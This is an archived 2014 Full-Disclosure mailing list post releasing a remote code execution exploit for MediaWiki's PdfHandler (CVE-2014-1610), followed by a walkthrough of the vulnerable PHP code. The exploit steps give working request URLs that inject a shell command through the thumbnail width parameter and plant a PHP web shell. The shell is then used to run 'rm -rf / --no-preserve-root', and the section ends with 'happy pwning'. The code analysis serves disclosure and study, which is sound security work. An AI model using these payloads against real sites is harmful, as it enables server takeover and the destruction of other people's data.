full-disclosure - MediaWiki <= 1.22.1 PdfHandler Remote Code Execution Exploit (CVE-2014-1610)

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Date: Sat, 1 Feb 2014 22:28:51 +0700
From: Pichaya Morimoto <pichaya@...e.org>
To: full-disclosure@...ts.grok.org.uk, submit@...sec.com
Subject: MediaWiki <= 1.22.1 PdfHandler Remote Code
	Execution Exploit (CVE-2014-1610)

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

####################################################################
#
# MediaWiki <= 1.22.1 PdfHandler Remote Code Execution Exploit
(CVE-2014-1610)
# Reported by Netanel Rubin - Check Point's Vulnerability Research Group
(Jan 19, 2014)
# Fixed in 1.22.2, 1.21.5 and 1.19.11 (Jan 30, 2014)
# Affected website : Wikipedia.org and more !
#
# Exploit author : Xelenonz & @u0x (Pichaya Morimoto)
# Release dates : Feb 1, 2014
# Special Thanks to 2600 Thailand !
#
####################################################################

# Exploit:
####################################################################
1. upload Longcat.pdf to wikimedia cms site (with PDF Handler enabled)
http://vulnerable-site/index.php/Special:Upload
2. inject os cmd to upload a php-backdoor
http://vulnerable-site/thumb.php?f=Longcat.pdf&w=10|`echo%20
"<?php%20system(\\$_GET[1]);">images/xnz.php`
3. access to php-backdoor!
http://vulnerable-site/images/xnz.php?1=rm%20-rf%20%2f%20--no-preserve-root
4. happy pwning!!


# Related files:
####################################################################
thumb.php <-- extract all _GET array to params
/extensions/PdfHandler/PdfHandler_body.php <-- failed to escape w/width
options
/includes/media/ImageHandler.php
/includes/GlobalFunctions.php
includes/filerepo/file/File.php

# Vulnerability Analysis:
####################################################################
1. thumb.php
This script used to resize images if it is configured to be done
when the web browser requests the image
<? ...
1.1 Called directly, use $_GET params
wfThumbHandleRequest();
1.2 Handle a thumbnail request via query parameters
function wfThumbHandleRequest() {
$params = get_magic_quotes_gpc()
? array_map( 'stripslashes', $_GET )
: $_GET;

wfStreamThumb( $params ); // stream the thumbnail
}
1.3 Stream a thumbnail specified by parameters
function wfStreamThumb( array $params ) {
...
$fileName = isset( $params['f'] ) ? $params['f'] : ''; // << puts
uploaded.pdf file here
...
// Backwards compatibility parameters
if ( isset( $params['w'] ) ) {
$params['width'] = $params['w']; // << Inject os cmd here!
unset( $params['w'] );
}
...
$img = wfLocalFile( $fileName );
...
// Thumbnail isn't already there, so create the new thumbnail...
$thumb = $img->transform( $params, File::RENDER_NOW ); // << resize image
by width/height
...
// Stream the file if there were no errors
$thumb->streamFile( $headers );
...
?>
2. /includes/filerepo/file/File.php
<? ...
function transform( $params, $flags = 0 ) { ...
$handler = $this->getHandler(); // << PDF Handler
...
$normalisedParams = $params;
$handler->normaliseParams( $this, $normalisedParams );
...
$thumb = $handler->doTransform( $this, $tmpThumbPath, $thumbUrl, $params );
..
?>
3. /extensions/PdfHandler/PdfHandler_body.php
<? ...
function doTransform( $image, $dstPath, $dstUrl, $params, $flags = 0 ) {
...
$width = $params['width'];
...
$cmd = '(' . wfEscapeShellArg( $wgPdfProcessor ); // << craft shell cmd &
parameters
$cmd .= " -sDEVICE=jpeg -sOutputFile=- -dFirstPage={$page}
-dLastPage={$page}";
$cmd .= " -r{$wgPdfHandlerDpi} -dBATCH -dNOPAUSE -q ". wfEscapeShellArg(
$srcPath );
$cmd .= " | " . wfEscapeShellArg( $wgPdfPostProcessor );
$cmd .= " -depth 8 -resize {$width} - "; // << FAILED to escape shell
argument
$cmd .= wfEscapeShellArg( $dstPath ) . ")";
$cmd .= " 2>&1";
...
$err = wfShellExec( $cmd, $retval );
...
?>
4. /includes/GlobalFunctions.php
Execute a shell command, with time and memory limits
<? ...
function wfShellExec( $cmd, &$retval = null, $environ = array(), $limits =
array() ) {
...
passthru( $cmd, $retval ); // << Execute here!!
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.14 (GNU/Linux)

iQIcBAEBAgAGBQJS7RIZAAoJEB2kHapd1XMUb2sP/RfCZk9D9KgbcoaoUaw+fo8r
K6ML/6dGRfLs9qvNdA8vwZfBT0wB0pPRfrcS/+W57tMV5hpDMGZgN3FMeUetoMYu
V5LVpkW0dbkU+hJ0J7RRIi9B60FytIifH70LTBnZXba3G3pni6oJCdwIcpmLvVu9
eVKZs2A/9Y4kUDm6hqM3alO9Biy2FeX6QmN2hgOJP35bB5rUtAcPU8lVZrRwerfj
Q0OxvUQRYg07s9oD6dzrQMYLobbzg9DmR0c4z21rumxdvBvrHs6P0+25H4HY0GPu
vEfJIfB11MGFFyKzkCmnkKKD+kOoJ4FgKVLOJfhWIFwglo2Y+s9mJzcTKjJRIjLg
CTRgD1sJ8Agl+mKU+FzB8wwyZuAT0FoIOgNXVNDAQEzlnaQdjW0JnTgnO+DN5UpR
2zj0ghQaNaFf38TkAJN/0eOHU9hP6cl/6zhoFII5NPmY4/yytUvrz801Xylr1C2j
J52Z37mFffkgg3OkXsOmzkPsp7OdPcktwfsmSJz8iD5oJBjAiqK8ecbVqa00C2kb
0ZGn+HlKCgEzK8gJVnNKc1DYCKOg95m3nbl7XDZVIH0OHJYtIILAUNfJikFm+P8P
vw4QhAvaKDHMULJw0zcTMd1g2ctzKMAtOI0NtnlI8VBkcTyU2LuUAMsmgoWpw5bE
5R2uhHiLPOsNC5BsZg4y
=p2PF
-----END PGP SIGNATURE-----

Content of type "text/html" skipped

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/